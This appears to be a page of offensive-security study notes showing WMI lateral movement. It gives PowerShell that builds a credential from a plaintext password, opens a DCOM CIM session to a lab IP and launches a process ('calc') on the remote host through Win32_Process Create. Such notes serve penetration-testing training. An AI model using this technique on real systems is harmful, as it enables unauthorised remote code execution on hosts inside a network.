> For the complete documentation index, see [llms.txt](https://tamagosecurity.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tamagosecurity.gitbook.io/notes/active-directory/wmi-and-winrm-lateral-movement.md).

# WMI and WinRM Lateral Movement

{% stepper %}
{% step %}

### Create PSCredential to store Username and Password

Create [PSCredential](https://learn.microsoft.com/en-us/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.4\&viewFallbackFrom=powershell-7.2) to store Username and Password:

```powershell
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
```

{% endstep %}

{% step %}

### Create Common Information Model (CIM) session

Create a CIM session via the [New-CimSession](https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/new-cimsession?view=powershell-7.2) cmdlet:

```powershell
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options 
$command = 'calc';
```

{% endstep %}

{% step %}

### Invoke Win32\_Process Create method

Invoke the Create method on the Win32\_Process class to execute the command:

```powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
```

{% endstep %}
{% endstepper %}